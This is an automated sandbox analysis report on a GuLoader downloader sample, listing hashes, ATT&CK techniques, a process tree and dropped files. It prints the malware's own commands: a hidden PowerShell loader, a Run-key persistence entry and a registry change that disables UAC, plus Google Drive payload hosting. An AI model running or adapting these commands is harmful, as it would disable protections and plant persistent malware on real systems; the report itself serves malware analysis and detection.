guloader | 39f1703e13bdc112f4ffe9240f70cd5eb5b07cc218e6b22a8d58e4dcfaadd0a1

Analysis

max time kernel
148s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02/09/2024, 14:16

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General

Target
39f1703e13bdc112f4ffe9240f70cd5eb5b07cc218e6b22a8d58e4dcfaadd0a1.exe
Size 458KB
Sample240902-rk5bvashpg
SHA256 39f1703e13bdc112f4ffe9240f70cd5eb5b07cc218e6b22a8d58e4dcfaadd0a1
MD5 61bdbe7854f1572202f7916cf7f03616
SHA1 e03a3385bc0cd5869c2a8cc72c80f4115b7b7945
SHA512 b9b41ede8456e65669ddf068bd6d277d60a7f2d233fa947636f998e9f77bc9be72a4b27884c9cc1bb979bbc0a8488ba8efa32375258492eb712ed864eca3a9c6
SSDEEP 12288:rKYi/LYz3kRV6h/3lObHOjeP/AxozXkYD:GFDg3ZhvlwHWiYx2UYD
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader discovery downloader evasion execution persistence trojan

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Blocklisted process makes network request 10 IoCs

flow	pid	Process
21	4552	powershell.exe
23	4552	powershell.exe
25	4552	powershell.exe
27	4552	powershell.exe
31	4552	powershell.exe
48	4552	powershell.exe
49	4552	powershell.exe
54	4552	powershell.exe
59	4552	powershell.exe
60	4552	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4552	powershell.exe

Loads dropped DLL 3 IoCs

pid	Process
796	39f1703e13bdc112f4ffe9240f70cd5eb5b07cc218e6b22a8d58e4dcfaadd0a1.exe
796	39f1703e13bdc112f4ffe9240f70cd5eb5b07cc218e6b22a8d58e4dcfaadd0a1.exe
796	39f1703e13bdc112f4ffe9240f70cd5eb5b07cc218e6b22a8d58e4dcfaadd0a1.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Preferentialist = "%Therapeutic% -windowstyle minimized $Terrain=(Get-ItemProperty -Path 'HKCU:\\Corycia\\').mandskaber;%Therapeutic% ($Terrain)"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
20	drive.google.com
21	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
4552	powershell.exe
4552	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4552	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	39f1703e13bdc112f4ffe9240f70cd5eb5b07cc218e6b22a8d58e4dcfaadd0a1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
5088	reg.exe
4884	reg.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4552	powershell.exe
4552	powershell.exe
4552	powershell.exe
4552	powershell.exe
4552	powershell.exe
4552	powershell.exe
4552	powershell.exe
4552	powershell.exe
4552	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4552	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4552	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 796 wrote to memory of 4552	796	39f1703e13bdc112f4ffe9240f70cd5eb5b07cc218e6b22a8d58e4dcfaadd0a1.exe	86
PID 796 wrote to memory of 4552	796	39f1703e13bdc112f4ffe9240f70cd5eb5b07cc218e6b22a8d58e4dcfaadd0a1.exe	86
PID 796 wrote to memory of 4552	796	39f1703e13bdc112f4ffe9240f70cd5eb5b07cc218e6b22a8d58e4dcfaadd0a1.exe	86
PID 4552 wrote to memory of 2088	4552	powershell.exe	96
PID 4552 wrote to memory of 2088	4552	powershell.exe	96
PID 4552 wrote to memory of 2088	4552	powershell.exe	96
PID 2088 wrote to memory of 5088	2088	cmd.exe	98
PID 2088 wrote to memory of 5088	2088	cmd.exe	98
PID 2088 wrote to memory of 5088	2088	cmd.exe	98
PID 4552 wrote to memory of 4528	4552	powershell.exe	99
PID 4552 wrote to memory of 4528	4552	powershell.exe	99
PID 4552 wrote to memory of 4528	4552	powershell.exe	99
PID 4528 wrote to memory of 4884	4528	cmd.exe	101
PID 4528 wrote to memory of 4884	4528	cmd.exe	101
PID 4528 wrote to memory of 4884	4528	cmd.exe	101

C:\Users\Admin\AppData\Local\Temp\39f1703e13bdc112f4ffe9240f70cd5eb5b07cc218e6b22a8d58e4dcfaadd0a1.exe
"C:\Users\Admin\AppData\Local\Temp\39f1703e13bdc112f4ffe9240f70cd5eb5b07cc218e6b22a8d58e4dcfaadd0a1.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:796
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Mitokoromono=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Servicebureauet\aloe\Ruralt.Tea';$Advokatfuldmgtigs=$Mitokoromono.SubString(69838,3);.$Advokatfuldmgtigs($Mitokoromono)"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4552
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preferentialist" /t REG_EXPAND_SZ /d "%Therapeutic% -windowstyle minimized $Terrain=(Get-ItemProperty -Path 'HKCU:\Corycia\').mandskaber;%Therapeutic% ($Terrain)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2088
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preferentialist" /t REG_EXPAND_SZ /d "%Therapeutic% -windowstyle minimized $Terrain=(Get-ItemProperty -Path 'HKCU:\Corycia\').mandskaber;%Therapeutic% ($Terrain)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:5088
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4528
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:4884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 126B
SHA256 2d2cbd13f1e5db792e203ed1a16e70fd14804951e2e3e67bafa994be8fb385d2
MD5 4d9ce2410d216093b729771752bfd840
SHA1 44cdd950aec651c004d0dacb4307bddf82c31e3e
SHA512 d9e7635bc609c53885263fe6ca864bd1a94e6335f25ffbfaa94b411f501ca08f9e0d88b87bc3be2f2039077e194ae0c698708d8d4e2bff1fe0fc344d11652eab
MD5 SHA1 SHA512

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Angiosperm.Sla

Path C:\Users\Admin\AppData\Local\Temp\Servicebureauet\aloe\Angiosperm.Sla
Size 310KB
SHA256 ea92d267a29ebea630fc51e02b9e7c42683216b1b4bf1075063a58529657ab16
MD5 74c243e34b9fafdd090165d998591c37
SHA1 376964338a52695316fad59455cd23269312cc21
SHA512 4670d7e9efe8d9738f9406e741991bf8e52de94eae4c202441e7c0457b4c120f6033893e4b1b1ddd69410ec3c39d8edf3c86905ca41a7aab1bd4b2fb9e06657c
SSDEEP 6144:Y0pdzZVmwH8552pWrL6dKhmOHuWKqWJepSQK9ETizjNIlVlDW6Vte:PdzPj85581KurXNqF7fe
MD5 SHA1 SHA512 SSDEEP

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Ruralt.Tea

Path C:\Users\Admin\AppData\Local\Temp\Servicebureauet\aloe\Ruralt.Tea
Size 68KB
SHA256 4df3727a11c8e633d68d7dfb08f7a679aea4b0cfcbda2d54da547499a9c66e16
MD5 e857291cf7cdcfd0413d85abdb01f724
SHA1 f4c0728ba5a0e78bc19489425dfb634327cd664d
SHA512 1007e794c375819bf7e1011bc27077422fc40b3b8648f2aae98cdceba26e0c0944cc82bd6fe93b55b65a87c828b866aaf1260e588bb94d3088635e035ba71f30
SSDEEP 1536:pKKk99E8fYyNfISb0QkDkWNSJPaHsP3aKAh1tx5H4vp80NaGf:pK1c8fYyNfgHYWgk8KKAHtxVsR
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_h1zleqzn.sk5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h1zleqzn.sk5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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BgImage.dll

Path C:\Users\Admin\AppData\Local\Temp\nsb710A.tmp\BgImage.dll
Size 7KB
SHA256 5c66abd3f06eaa357ed9663224c927cf7120dca010572103faa88832bb31c5ab
MD5 350a507070ed063ac6a511aeef67861a
SHA1 cf647b90a1212e090f1d236d1b50a5010cbf3bae
SHA512 cde5747cc8539625e4262afad9699ce4e8325133d7ed7f47b9d46989a7aa0d2cc2488441acc57368f485ef1dd3e02b9ef2faa642f68e9f1db53a39e0f896d468
SSDEEP 96:8eE0AKTIfv7QCUsthvNL85s4lk38Eb3CDfvEh8uLzqkwnLiEQjJ3KxkP:tWBfjbUA/85q3wEh8uLmjLpmP
MD5 SHA1 SHA512 SSDEEP

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nsDialogs.dll

Path C:\Users\Admin\AppData\Local\Temp\nsb710A.tmp\nsDialogs.dll
Size 9KB
SHA256 cb958e21c3935ef7697a2f14d64cae0f9264c91a92d2deeb821ba58852dac911
MD5 13b6a88cf284d0f45619e76191e2b995
SHA1 09ebb0eb4b1dca73d354368414906fc5ad667e06
SHA512 2aeeae709d759e34592d8a06c90e58aa747e14d54be95fb133994fdcebb1bdc8bc5d82782d0c8c3cdfd35c7bea5d7105379d3c3a25377a8c958c7b2555b1209e
SSDEEP 96:oyqZ4zC5RH3cXX1LlYlRowycxM2DjDf3GEst+Nt+jvDYx4yqndYHnxss:oyq+CP3uKrpyREs06YxKdGn
MD5 SHA1 SHA512 SSDEEP

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nsExec.dll

Path C:\Users\Admin\AppData\Local\Temp\nsb710A.tmp\nsExec.dll
Size 6KB
SHA256 3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
MD5 b648c78981c02c434d6a04d4422a6198
SHA1 74d99eed1eae76c7f43454c01cdb7030e5772fc2
SHA512 219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2
SSDEEP 96:U7GUxNkO6GR0t9GKKr1Zd8NHYVVHp4dEeY3kRnHdMqqyVgNN3e:mXhHR0aTQN4gRHdMqJVgNE
MD5 SHA1 SHA512 SSDEEP

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Flyverdragter.lnk

Path C:\Users\Admin\Desktop\Flyverdragter.lnk
Size 1KB
SHA256 6a86deb78ff4fb352808757be7a58a8511206b6b2649153b2aeeab9ea703f11b
MD5 b60b3d9f4372a258213f47d7b95773a0
SHA1 d1c010b33624421adb2b5783e9a58ed41779d03f
SHA512 c9d4d394def18a3bcc3bfc99692bb0439c639a0c1433ad72aa2ac6751db19b69c9800d5c0a0d16166877164c7fcaa08e1dcfac1d9bb74a6a9cd52087c374c66f
MD5 SHA1 SHA512

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memory/4552-198-0x0000000007B30000-0x00000000080D4000-memory.dmp

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memory/4552-202-0x0000000073AF0000-0x00000000742A0000-memory.dmp

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memory/4552-181-0x0000000005D60000-0x0000000005DC6000-memory.dmp

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memory/4552-180-0x0000000005480000-0x00000000054A2000-memory.dmp

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memory/4552-188-0x0000000005EB0000-0x0000000006204000-memory.dmp

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memory/4552-193-0x00000000064D0000-0x00000000064EE000-memory.dmp

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memory/4552-194-0x0000000006500000-0x000000000654C000-memory.dmp

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memory/4552-195-0x00000000074E0000-0x0000000007576000-memory.dmp

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memory/4552-197-0x0000000006A30000-0x0000000006A52000-memory.dmp

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memory/4552-196-0x00000000069E0000-0x00000000069FA000-memory.dmp

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memory/4552-179-0x00000000056C0000-0x0000000005CE8000-memory.dmp

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memory/4552-178-0x0000000073AF0000-0x00000000742A0000-memory.dmp

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memory/4552-200-0x0000000008760000-0x0000000008DDA000-memory.dmp

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memory/4552-182-0x0000000005E40000-0x0000000005EA6000-memory.dmp

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memory/4552-203-0x0000000073AF0000-0x00000000742A0000-memory.dmp

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memory/4552-204-0x0000000073AF0000-0x00000000742A0000-memory.dmp

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memory/4552-177-0x0000000002B10000-0x0000000002B46000-memory.dmp

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memory/4552-206-0x0000000073AF0000-0x00000000742A0000-memory.dmp

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memory/4552-209-0x0000000073AF0000-0x00000000742A0000-memory.dmp

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memory/4552-210-0x0000000073AF0000-0x00000000742A0000-memory.dmp

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memory/4552-208-0x0000000073AFE000-0x0000000073AFF000-memory.dmp

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memory/4552-207-0x0000000008DE0000-0x000000000BDED000-memory.dmp

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memory/4552-211-0x0000000073AF0000-0x00000000742A0000-memory.dmp

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memory/4552-212-0x0000000073AF0000-0x00000000742A0000-memory.dmp

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memory/4552-213-0x0000000073AF0000-0x00000000742A0000-memory.dmp

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memory/4552-227-0x0000000025500000-0x0000000026754000-memory.dmp

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memory/4552-228-0x0000000008DE0000-0x000000000BDED000-memory.dmp

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memory/4552-176-0x0000000073AFE000-0x0000000073AFF000-memory.dmp

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